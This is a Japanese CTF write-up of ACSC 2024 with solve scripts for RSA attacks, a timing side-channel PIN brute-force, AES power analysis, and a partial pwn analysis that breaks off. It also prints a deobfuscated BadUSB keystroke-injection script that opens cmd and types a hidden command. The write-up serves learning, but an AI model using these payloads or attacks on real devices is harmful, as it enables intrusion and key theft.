LoginSignup
0
0

ACSC 2024 Writeup

Posted at

ACSC 2024 に参加しました.
15 人ぐらいが ICC に参加できるので気合を入れてましたが,全体では 30 位で,eligible only だと 26 位という結果でした.
解けた中で一番得点の高いものでも 200 pts と,どのジャンルも簡単なものしか解けませんでした.
全然だめでした.
能無しによる Writeup をどうぞ.

Crypto

RSA Stream2

100 pts

authored by theoremoon

I made a stream cipher out of RSA! note: The name 'RSA Stream2' is completely unrelated to the 'RSA Stream' challenge in past ACSC. It is merely the author's whimsical choice and prior knowledge of 'RSA Stream' is not required.
from Crypto.Util.number import getPrime
import random
import re


p = getPrime(512)
q = getPrime(512)
e = 65537
n = p * q
d = pow(e, -1, (p - 1) * (q - 1))

m = random.randrange(2, n)
c = pow(m, e, n)

text = open(__file__, "rb").read()
ciphertext = []
for b in text:
    o = 0
    for i in range(8):
        bit = ((b >> i) & 1) ^ (pow(c, d, n) % 2)
        c = pow(2, e, n) * c % n
        o |= bit << i
    ciphertext.append(o)


open("chal.py.enc", "wb").write(bytes(ciphertext))
redacted = re.sub("flag = \"ACSC{(.*)}\"", "flag = \"ACSC{*REDACTED*}\"", text.decode())
open("chal_redacted.py", "w").write(redacted)
print("n =", n)

# flag = "ACSC{*REDACTED*}"

問題中の式
$c = (2^e)^k m^e$
が LSB decryption oracle attack のそれなので,$m$ が求められる.

実装が間違っているのか $m$ が少しずれるので適当に探索する.

n = 106362501554841064194577568116396970220283331737204934476094342453631371019436358690202478515939055516494154100515877207971106228571414627683384402398675083671402934728618597363851077199115947762311354572964575991772382483212319128505930401921511379458337207325937798266018097816644148971496405740419848020747
e = 65537

f = open('chal_redacted.py', 'rb')
src = f.read()[:-13]
f.close()

f = open('chal.py.enc', 'rb')
enc = f.read()[:len(src)]
f.close()

bits = []
for b1, b2 in zip(src, enc):
    for i in range(8):
        bits.append(((b1 >> i) & 1) ^ ((b2 >> i) & 1))
bits = bits[1:]

lb = 2
ub = n
i = 0
while lb != ub:
    mid = (lb + ub) // 2
    if bits[i] == 1:
        lb = mid
    else:
        ub = mid
    i += 1

m = lb + 1
c = pow(m, e, n)

print(f'{m = }')

f = open('chal.py.enc', 'rb')
enc = f.read()
f.close()

for dif in range(-500, 500):
    try:
        x = m + dif
        dec = []
        for b in enc:
            o = 0
            for i in range(8):
                bit = ((b >> i) & 1) ^ (x % 2)
                x = (x * 2) % n
                o |= bit << i
            dec.append(o)

        print(bytes(dec).decode())
        break
    except:
        pass

strongest OAEP

200 pts

authored by Bono_iPad

OAEP is strongest! I tweeked the MGF and PRNG! I don't know what I am doing! Oh, e is growing!
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Util.number import *

import os

flag = b"ACSC{___REDACTED___}"

def strongest_mask(seed, l):
  return b"\x01"*l

def strongest_random(l):
  x = bytes_to_long(os.urandom(1)) & 0b1111
  return long_to_bytes(x) + b"\x00"*(l-1)

f = open("strongest_OAEP.txt","w")

key = RSA.generate(2048,e=13337)

c_buf = -1

for a in range(2):
  OAEP_cipher = PKCS1_OAEP.new(key=key,randfunc=strongest_random,mgfunc=strongest_mask)

  while True:
    c = OAEP_cipher.encrypt(flag)
    num_c = bytes_to_long(c)
    if c_buf == -1:
      c_buf = num_c
    else:
      if c_buf == num_c:continue
    break

  f.write("c: %d\n" % num_c)
  f.write("e: %d\n" % key.e)
  f.write("n: %d\n" % key.n)

  OAEP_cipher = PKCS1_OAEP.new(key=key,randfunc=strongest_random,mgfunc=strongest_mask)
  dec = OAEP_cipher.decrypt(c)
  assert dec == flag

  # wow, e is growing!
  d = pow(31337,-1,(key.p-1)*(key.q-1))
  key = RSA.construct( ((key.p * key.q), 31337, d) ) 

PKCS#1 OAEP という RSA で $e$ を変えて二回暗号化されている.

PKCS#1 OAEP の通常の RSA と違う点は,message $m$ をそのまま使わないこと.
RFC 8017 - PKCS #1 を読むと message の代わりとなる encoded message の形式がわかる.
Screenshot_20240401_132603.png

PyCryptodome のドキュメント を見ると,今回の実装では strongest_random が seed を生成する際に使われる関数で,strongest_mask は MGF であることがわかる.

strongest_mask 関数は入力の seed を使わずに長さ l のみを使っているため,上の図のような encoded message にはならず,以下のようになる.

                            +----------+------+--+-------+
                       DB = |  lHash   |  PS  |01|   M   |
                            +----------+------+--+-------+
                                           |
                 +----------+              |
                 |   seed   |              |
                 +----------+              |
                       |                   |
                       |         MGF ---> xor
                       |                   |
              +--+     V                   |
              |00|    xor <----- MGF       |
              +--+     |                   |
                |      |                   |
                V      V                   V
              +--+----------+----------------------------+
        EM =  |00|maskedSeed|          maskedDB          |
              +--+----------+----------------------------+
  _______________________________________________________________

よって,二つの encoded message の差は seed の 4 ビットのみとなるので,総当りで Related Message Attack ができる.
二つの差は $d = r \cdot 2^{2048 - 16} \quad (1 \le d \le 16)$ なので,
$
f(x) = x^e - c_1 \
g(x) = (x \pm d)^e - c_2
$
とする.

from Crypto.Util.number import *

n = 22233043203851051987774676272268763746571769790283990272898544200595210865805062042533964757556886045816797963053708033002519963858645742763011213707135129478462451536734634098226091953644783443749078817891950148961738265304229458722767352999635541835260284887780524275481187124725906010339700293644191694221299975450383751561212041078475354616962383810736434747953002102950194180005232986331597234502395410788503785620984541020025985797561868793917979191728616579236100110736490554046863673615387080279780052885489782233323860240506950917409357985432580921304065490578044496241735581685702356948848524116794108391919
e1 = 13337
e2 = 31337
c1 = 13412188923056789723463018818435903148553225092126449284011226597847469180689010500205036581482811978555296731975701940914514386095136431336581120957243367238078451768890612869946983768089205994163832242140627878771251215486881255966451017190516603328744559067714544394955162613568906904076402157687419266774554282111060479176890574892499842662967399433436106374957988188845814236079719315268996258346836257944935631207495875339356537546431504038398424282614669259802592883778894712706369303231223163178823585230343236152333248627819353546094937143314045129686931001155956432949990279641294310277040402543835114017195
c2 = 2230529887743546073042569155549981915988020442555697399569938119040296168644852392004943388395772846624890089373407560524611849742337613382094015150780403945116697313543212865635864647572114946163682794770407465011059399243683214699692137941823141772979188374817277682932504734340149359148062764412778463661066901102526545656745710424144593949190820465603686746875056179210541296436271441467169157333013539090012425649531186441705611053197011849258679004951603667840619123734153048241290299145756604698071913596927333822973487779715530623752416348064576460436025539155956034625483855558580478908137727517016804515266

def pdivmod(u, v):
    q = u // v
    r = u - q*v
    return (q, r)

def hgcd(u, v, min_degree=10):
    x = u.parent().gen()

    if u.degree() < v.degree():
        u, v = v, u

    if 2*v.degree() < u.degree() or u.degree() < min_degree:
        q = u // v
        return matrix([[1, -q], [0, 1]])

    m = u.degree() // 2
    b0, c0 = pdivmod(u, x^m)
    b1, c1 = pdivmod(v, x^m)

    R = hgcd(b0, b1)
    DE = R * matrix([[u], [v]])
    d, e = DE[0,0], DE[1,0]
    q, f = pdivmod(d, e)

    g0 = e // x^(m//2)
    g1 = f // x^(m//2)

    S = hgcd(g0, g1)
    return S * matrix([[0, 1], [1, -q]]) * R

def pgcd(u, v):
    if u.degree() < v.degree():
        u, v = v, u

    if v == 0:
        return u

    if u % v == 0:
        return v

    if u.degree() < 10:
        while v != 0:
            u, v = v, u % v
        return u

    R = hgcd(u, v)
    B = R * matrix([[u], [v]])
    b0, b1 = B[0,0], B[1,0]
    r = b0 % b1
    if r == 0:
        return b1

    return pgcd(b1, r)

def xor_01(data):
    return bytes([d ^^ 1 for d in data])

PR.<x> = PolynomialRing(Zmod(n))

for dif in range(-5, 0):
# for dif in range(-16, 16 + 1):
    if dif == 0:
        continue
    print(f'{dif = }')
    d = dif << (2048 - 16)
    f = x ^ e1 - c1
    g = (x + d) ^ e2 - c2
    h = pgcd(f, g)
    if h == None:
        continue
    m = -h.monic()[0]
    
    enc_msg = xor_01(long_to_bytes(int(m)))
    if b'ACSC' in enc_msg:
        print(enc_msg)
        break

Hardware

An4lyz3_1t

50 pts

authored by Chainfire73

Our surveillance team has managed to tap into a secret serial communication and capture a digital signal using a Saleae logic analyzer. Your objective is to decode the signal and uncover the hidden message.

拡張子は .sal だが中身は zip ファイルっぽい.

└─< file chall.sal                     
chall.sal: Zip archive data, at least v2.0 to extract, compression method=deflate

展開してみると digital-x.binmeta.json というファイルが得られるが中身を確認してもよくわからない.

.
├── digital-0.bin
├── digital-1.bin
├── digital-2.bin
├── digital-3.bin
├── digital-4.bin
├── digital-5.bin
├── digital-6.bin
├── digital-7.bin
└── meta.json

sal file meta.json で調べてみると Logic 2 Capture Format であることがわかるので,Logic 2 を使ってデコードする.

こんな感じの波形が得られる
Screenshot_20240402_185222.png

設定を以下のようにすると Terminal の部分に FLAG が表示される
Screenshot_20240330_193258.png
Screenshot_20240402_185505.png

Vault

150 pts

authored by v3ct0r, Chainfire73

Can you perform side-channel attack to this vault? The PIN is a 10-digit number.

* Python3 is installed on remote. nc vault.chal.2024.ctf.acsc.asia 9999

Ghidra でデコンパイル

void main(void)
{
    ssize_t len;
    int i;
    
    printart();
    printf("Enter your PIN: ");
    fflush((FILE *)stdout);
    len = read(0,input.1,10);
    if ((int)len == 10) {
        delay();
        for (i = 0; i < 10; i = i + 1) {
            if ((int)(char)input.1[i] != (i + 1U ^ (int)(char)pins[(long)i * 0xaf + 0x45])) {
                flag.0 = 0;
                puts("Access Denied\n It didn\'t take me any time to verify that it\'s not the pin")
                ;
                return;
            }
            delay();
        }
        if (flag.0 != 0) {
            printflag(input.1);
        }
    }
    else {
        puts("Access Denied\n It didn\'t take me any time to verify that it\'s not the pin");
    }
    return;
}

入力が 10 文字なら delay 関数が呼び出される.
その後に前から順番に一文字ずつ比較して正しければ delay 関数が呼び出される.

delay 関数が呼び出されると 0.1 秒停止する.

└─< time ./chall <<< $(echo 0)         
@@@  @@@   @@@@@@   @@@  @@@  @@@       @@@@@@@
@@@  @@@  @@@@@@@@  @@@  @@@  @@@       @@@@@@@
@@!  @@@  @@!  @@@  @@!  @@@  @@!         @@!
!@!  @!@  !@!  @!@  !@!  @!@  !@!         !@!
@!@  !@!  @!@!@!@!  @!@  !@!  @!!         @!!
!@!  !!!  !!!@!!!!  !@!  !!!  !!!         !!!
:!:  !!:  !!:  !!!  !!:  !!!  !!:         !!:
 ::!!:!   :!:  !:!  :!:  !:!  :!:        :!:
  ::::    ::   :::  ::::: ::  :: ::::     ::
   :       :   : :   : :  :   : :: : :     :
Enter your PIN: Access Denied
 It didn't take me any time to verify that it's not the pin

real    0.00s
user    0.00s
sys     0.00s
cpu     83%

└─< time ./chall <<< $(echo 0000000000)
@@@  @@@   @@@@@@   @@@  @@@  @@@       @@@@@@@
@@@  @@@  @@@@@@@@  @@@  @@@  @@@       @@@@@@@
@@!  @@@  @@!  @@@  @@!  @@@  @@!         @@!
!@!  @!@  !@!  @!@  !@!  @!@  !@!         !@!
@!@  !@!  @!@!@!@!  @!@  !@!  @!!         @!!
!@!  !!!  !!!@!!!!  !@!  !!!  !!!         !!!
:!:  !!:  !!:  !!!  !!:  !!!  !!:         !!:
 ::!!:!   :!:  !:!  :!:  !:!  :!:        :!:
  ::::    ::   :::  ::::: ::  :: ::::     ::
   :       :   : :   : :  :   : :: : :     :
Enter your PIN: Access Denied
 It didn't take me any time to verify that it's not the pin

real    0.10s
user    0.00s
sys     0.00s
cpu     1%

以下のスクリプトで特定できる.

import subprocess
import time

pin = ''
for i in range(10):
    for j in range(10):
        p = pin + str(j)
        p += '0' * (10 - len(p))
        start = time.time()
        subprocess.run('/home/user/chall', input=p, text=True, stdout=subprocess.PIPE)
        end = time.time()
        res = int(round(end - start, 2) * 10)
        if res == 2 + i:
            pin += str(j)
            print(pin)
            break

print(pin)

サーバ側では /tmp 上にファイルを自由に置けて base64 が使えるのでスクリプトを配置できる

user@NSJAIL:/tmp$ ls -la
ls: .: Operation not permitted
ls: ..: Operation not permitted
ls: hoge: Operation not permitted
total 4
drwxrwxrwt  2 user   user      60 Mar 30 11:03 .
drwxr-xr-x 17 nobody nogroup 4096 Mar 30 04:43 ..
-rw-r--r--  1 user   user       0 Mar 30 11:03 hoge


user@NSJAIL:/tmp$ base64 --help
Usage: base64 [OPTION]... [FILE]
Base64 encode or decode FILE, or standard input, to standard output.

(snip...)
└─< cat solve.py | base64 -w 0
aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRpbWUKCnBpbiA9ICcnCmZvciBpIGluIHJhbmdlKDEwKToKICAgIGZvciBqIGluIHJhbmdlKDEwKToKICAgICAgICBwID0gcGluICsgc3RyKGopCiAgICAgICAgcCArPSAnMCcgKiAoMTAgLSBsZW4ocCkpCiAgICAgICAgc3RhcnQgPSB0aW1lLnRpbWUoKQogICAgICAgIHN1YnByb2Nlc3MucnVuKCcvaG9tZS91c2VyL2NoYWxsJywgaW5wdXQ9cCwgdGV4dD1UcnVlLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFKQogICAgICAgIGVuZCA9IHRpbWUudGltZSgpCiAgICAgICAgcmVzID0gaW50KHJvdW5kKGVuZCAtIHN0YXJ0LCAyKSAqIDEwKQogICAgICAgIGlmIHJlcyA9PSAyICsgaToKICAgICAgICAgICAgcGluICs9IHN0cihqKQogICAgICAgICAgICBwcmludChwaW4pCiAgICAgICAgICAgIGJyZWFrCgpwcmludChwaW4p
user@NSJAIL:/home/user$ python3 -c 'import pty; pty.spawn("/bin/bash")'
user@NSJAIL:/home/user$ cd /tmp

user@NSJAIL:/tmp$ echo aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRpbWUKCnBpbiA9ICcnCmZvciBpIGluIHJhbmdlKDEwKToKICAgIGZvciBqIGluIHJhbmdlKDEwKToKICAgICAgICBwID0gcGluICsgc3RyKGopCiAgICAgICAgcCArPSAnMCcgKiAoMTAgLSBsZW4ocCkpCiAgICAgICAgc3RhcnQgPSB0aW1lLnRpbWUoKQogICAgICAgIHN1YnByb2Nlc3MucnVuKCcvaG9tZS91c2VyL2NoYWxsJywgaW5wdXQ9cCwgdGV4dD1UcnVlLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFKQogICAgICAgIGVuZCA9IHRpbWUudGltZSgpCiAgICAgICAgcmVzID0gaW50KHJvdW5kKGVuZCAtIHN0YXJ0LCAyKSAqIDEwKQogICAgICAgIGlmIHJlcyA9PSAyICsgaToKICAgICAgICAgICAgcGluICs9IHN0cihqKQogICAgICAgICAgICBwcmludChwaW4pCiAgICAgICAgICAgIGJyZWFrCgpwcmludChwaW4p | base64 -d > solve.py
8574219362
user@NSJAIL:/home/user$ ./chall
./chall
@@@  @@@   @@@@@@   @@@  @@@  @@@       @@@@@@@
@@@  @@@  @@@@@@@@  @@@  @@@  @@@       @@@@@@@
@@!  @@@  @@!  @@@  @@!  @@@  @@!         @@!
!@!  @!@  !@!  @!@  !@!  @!@  !@!         !@!
@!@  !@!  @!@!@!@!  @!@  !@!  @!!         @!!
!@!  !!!  !!!@!!!!  !@!  !!!  !!!         !!!
:!:  !!:  !!:  !!!  !!:  !!!  !!:         !!:
 ::!!:!   :!:  !:!  :!:  !:!  :!:        :!:
  ::::    ::   :::  ::::: ::  :: ::::     ::
   :       :   : :   : :  :   : :: : :     :
Enter your PIN: 8574219362
8574219362
flag: ACSC{b377er_d3L4y3d_7h4n_N3v3r_b42fd3d840948f3e}

picopico

200 pts

authored by op

Security personnel in our company have spotted a suspicious USB flash drive. They found a Raspberry Pi Pico board inside the case, but no flash drive board. Here's the firmware dump of the Raspberry Pi Pico board. Could you figure out what this 'USB flash drive' is for?

firmware dump が与えられている.
strings コマンドを実行すると,いくつか Python のコードが出てくる.

ほとんどは検索すると見つかるが,最後のものだけ少し難読化がされているコードになっている.
これを読みやすくすると以下のようになる.

import storage
storage.disable_usb_drive()

import time
import microcontroller
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
from adafruit_hid.keycode import Keycode

w = b"\x10\x53\x7f\x2b"

if microcontroller.nvm[0 : len(w)] != w:
    microcontroller.nvm[0 : len(w)] = w
    O = microcontroller.nvm[4 : 47]
    h = microcontroller.nvm[47 : 90]
    F = bytes((kb ^ fb for kb, fb in zip(O, h))).decode("ascii")
    S = Keyboard(usb_hid.devices)
    C = KeyboardLayoutUS(S)
    time.sleep(0.1)

    S.press(Keycode.WINDOWS, Keycode.R)
    time.sleep(0.1)
    
    S.release_all()
    time.sleep(1)
    
    C.write("cmd",delay=0.1)
    time.sleep(0.1)

    S.press(Keycode.ENTER)
    time.sleep(0.1)

    S.release_all()
    time.sleep(1)
    
    C.write(F, delay=0.1)
    time.sleep(0.1)

    S.press(Keycode.ENTER)
    time.sleep(0.1)
    S.release_all()

time.sleep(0xFFFFFFFF)

microcontroller.nvm というのは Non-volatile memory (不揮発性メモリ) のこと.
(microcontroller.nvm)

スクリプトを確認すると実行の度に先頭の 4 バイトが b"\x10\x53\x7f\x2b" になっていなければこの値に書き換えられる.

firmware.bin の中でこの 4 バイトを検索すると見つかる.

└─< xxd distfiles-picopico/firmware.bin | less

000ff000: 1053 7f2b 41a0 7151 9fca fd84 350a d2b0  .S.+A.qQ....5...
000ff010: 1ea8 a9b7 101f 557a 8c98 b269 ef92 c515  ......Uz...i....
000ff020: d04b ff87 1763 e462 c6a5 b2bc 8eef d824  .K...c.b.......$
000ff030: c319 3ebf 8bbe d776 71e1 8427 989d 8773  ..>....vq..'...s
000ff040: 2e63 19bf aed4 0b8d f3fd 76e4 73cb e525  .c........v.s..%
000ff050: 5bdd 07f6 c1d3 d9b8 89a5 0000 0000 0000  [...............

その後ろの値を取得してデコードする.

nvm = [
    0x10, 0x53, 0x7f, 0x2b, 0x41, 0xa0, 0x71, 0x51, 0x9f, 0xca, 0xfd, 0x84, 0x35, 0x0a, 0xd2, 0xb0,
    0x1e, 0xa8, 0xa9, 0xb7, 0x10, 0x1f, 0x55, 0x7a, 0x8c, 0x98, 0xb2, 0x69, 0xef, 0x92, 0xc5, 0x15,
    0xd0, 0x4b, 0xff, 0x87, 0x17, 0x63, 0xe4, 0x62, 0xc6, 0xa5, 0xb2, 0xbc, 0x8e, 0xef, 0xd8, 0x24,
    0xc3, 0x19, 0x3e, 0xbf, 0x8b, 0xbe, 0xd7, 0x76, 0x71, 0xe1, 0x84, 0x27, 0x98, 0x9d, 0x87, 0x73,
    0x2e, 0x63, 0x19, 0xbf, 0xae, 0xd4, 0x0b, 0x8d, 0xf3, 0xfd, 0x76, 0xe4, 0x73, 0xcb, 0xe5, 0x25,
    0x5b, 0xdd, 0x07, 0xf6, 0xc1, 0xd3, 0xd9, 0xb8, 0x89, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
]

x = nvm[4 : 47]
y = nvm[47 : 90]
f = bytes((kb ^ fb for kb, fb in zip(x, y))).decode("ascii")
print(f)

PWR_Tr4ce

200 pts

authored by Chainfire73

You've been given power traces and text inputs captured from a microcontroller running AES encryption. Your goal is to extract the encryption key.


EXPERIMENT SETUP

scope = chipwhisperer lite

target = stm32f3

AES key length = 16 bytes

電力と入力の numpy のデータが渡される.
ここから AES に使われた鍵を抽出すれば良いと問題にある.

調べていると AESに対する相関電力解析を勉強する が見つかる.
ここのスクリプトを使うだけで解ける.

import numpy as np
import os
from chipwhisperer.common.traces.TraceContainerNative import TraceContainerNative

textins = np.load('./distfiles-pwr-tr4ce/textins.npy')
traces = np.load('./distfiles-pwr-tr4ce/traces.npy')

tc = TraceContainerNative()
for textin, trace in zip(textins, traces):
    tc.addWave(trace)
    tc.addTextin(textin)
    tc.addKey([0]*16)

os.mkdir('cfg_form')
tc.saveAllTraces('cfg_form')
tc.config.setConfigFilename('cfg_form/rhme.cfg')
tc.config.saveTrace()
import numpy as np

pt_list = np.load('./distfiles-pwr-tr4ce/textins.npy')
tr_list = np.load('./distfiles-pwr-tr4ce/traces.npy')

NUM_TRACES = len(tr_list)
NUM_POINTS = len(tr_list[0])

# Sum of absolute difference
def synchronize(trace, reference, window=[-1,1], max_offset=500):
    if window[0] == -1:
        window[0] = 0
    if window[1] == 1:
        window[1] = len(reference) -1
    window_size = window[1] - window[0]
    reference_window = reference[window[0]:window[1]]
    sad = [0] * (max_offset*2 + 1)
    for x in range(0, max_offset*2 + 1):
        trace_slice = trace[window[0]-max_offset+x:window[1]-max_offset+x]
        sad[x] = np.sum(np.abs(reference_window - trace_slice))
    sad_idx = np.argmin(sad)
    offset = -max_offset + sad_idx
    synchronized_trace = trace
    if offset < 0:
        synchronized_trace = np.concatenate(([0]*abs(offset), synchronized_trace[:-abs(offset)]))
    elif offset > 0:
        synchronized_trace = np.concatenate((synchronized_trace[abs(offset):], [0]*abs(offset)))
    return synchronized_trace

reference_trace = tr_list[0]
sync_traces = reference_trace


print("[*] Loading traces...")
i = 0
for trace in tr_list[1:NUM_TRACES+1]:
    synchronized_trace = synchronize(trace, reference_trace, [2500, 4000])
    sync_traces = np.vstack((sync_traces, synchronized_trace))
    i += 1
    if i % 100 == 0:
        print("[+] load {} traces".format(i))

print("[*] Done.")

humming = [bin(n).count("1") for n in range(256)]

sbox = (
    0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
    0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
    0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
    0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
    0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
    0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
    0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
    0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
    0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
    0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
    0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
    0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
    0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
    0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
    0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
    0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16)

def addkey_subbytes(pt, guesskey):
    return sbox[pt ^ guesskey]

print("[*] Guessing key...")

bestguess = [0] * 16
pge = [256] * 16

for k_idx in range(16): # determine key index
    cpaoutput = [0] * 256

    # follow valiables may not be need
    maxcpa = [0] * 256
    bestcor = 0
    bestkey = 0

    for kguess in range(256): # determine word key candidate
        sumnum = np.zeros(NUM_POINTS)
        sumden1 = np.zeros(NUM_POINTS)
        sumden2 = np.zeros(NUM_POINTS)

        hyp = np.zeros(NUM_TRACES)

        for t_idx in range(NUM_TRACES): # hypothesis hamming weight
            hyp[t_idx] = humming[addkey_subbytes(pt_list[t_idx][k_idx], kguess)]

        h_mean = np.mean(hyp, dtype=np.float64)
        t_mean = np.mean(sync_traces, axis=0, dtype=np.float64)

        assert 0 < h_mean and h_mean < 8, "meanh is not between 0 and 8"
        assert len(t_mean) == NUM_POINTS, "meant is less than trace points"

        cors = []

        for t_idx in range(NUM_TRACES):
            hdiff = (hyp[t_idx] - h_mean)
            tdiff = sync_traces[t_idx] - t_mean

            sumnum = sumnum + (hdiff * tdiff)
            sumden1 = sumden1 + hdiff * hdiff
            sumden2 = sumden2 + tdiff * tdiff

        cpaoutput[kguess] = sumnum / np.sqrt(sumden1 * sumden2)

        maxcpa[kguess] = max(abs(cpaoutput[kguess]))


    bestguess[k_idx] = np.argmax(maxcpa)
    print("[+] best guess key [{0}] is {1:02x}".format(k_idx, bestguess[k_idx]))

print("[*] Done.")

key = ['{:02X}'.format(bestguess[x]) for x in range(16)]

print("[+] Best key guess: {}".format("".join(key)))

strkey = ''.join(map(chr, bestguess))

print(strkey)

Pwn

rot13

100 pts

authored by ptr-yudai

This is the fastest implementation of ROT13!

nc rot13.chal.2024.ctf.acsc.asia 9999

セキュリティ機構は以下のようになっている.

└─< spwn                                                                          
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/toha/.cache/.pwntools-cache-3.10/update to 'never' (old way).
    Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
        [update]
        interval=never
[*] A newer version of pwntools is available on pypi (4.9.0 --> 4.12.0).
    Update with: $ pip install -U pwntools
[*] Binary: rot13
[*] Libc:   libc.so.6
[!] No loader

[*] file rot13
ELF 64-bit LSB pie executable
x86-64
dynamically linked
not stripped
[*] checksec rot13
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
Libc version: 2.35
[*] cwe_checker rot13 (press Ctrl+C to stop)
[CWE676] (0.1) (Use of Potentially Dangerous Function) rot13 (0010127c) -> strlen
[CWE676] (0.1) (Use of Potentially Dangerous Function) main (00101536) -> memset


[+] Trying to unstrip libc
[!] Could not fetch libc debuginfo for build_id c289da5071a3399de893d2af81d6a30c62646e1e from https://debuginfod.systemtap.org/
[!] Couldn't find debug info for libc with build_id c289da5071a3399de893d2af81d6a30c62646e1e on any debuginfod server.
[!] Failed to unstrip libc
[+] Downloading loader
[+] Extracting loader

ソースコード

#include <stdio.h>
#include <string.h>

#define ROT13_TABLE                                                   \
  "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"  \
  "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"  \
  "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"  \
  "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  \
  "\x40\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x41\x42"  \
  "\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x5b\x5c\x5d\x5e\x5f"  \
  "\x60\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x61\x62"  \
  "\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x7b\x7c\x7d\x7e\x7f"  \
  "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"  \
  "\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"  \
  "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"  \
  "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"  \
  "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"  \
  "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"  \
  "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"  \
  "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

void rot13(const char *table, char *buf) {
  printf("Result: ");
  for (size_t i = 0; i < strlen(buf); i++)
    putchar(table[buf[i]]);
  putchar('\n');
}

int main() {
  const char table[0x100] = ROT13_TABLE;
  char buf[0x100];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  while (1) {
    printf("Text: ");
    memset(buf, 0, sizeof(buf));
    if (scanf("%[^\n]%*c", buf) != 1)
      return 0;
    rot13(table, buf);
  }
  return 0;
}

BOF は明らかにできるが canary があるのでどうにかする必要がある.
また,実行ファイルや libc のアドレスもわかっていない.

ただし,rot13 関数内で

putchar(table[buf[i]]);

とあるが,インデックスに使われている buf

char *buf

で与えられている char 型なのでここが怪しい.

以下のコードで試してみると 8 ビットの符号付き整数として解釈されるようで -1 が出力される.

#include<stdio.h>

int main() {
    char c = '\xff';
    printf("%d\n", c);
    // >> -1
}

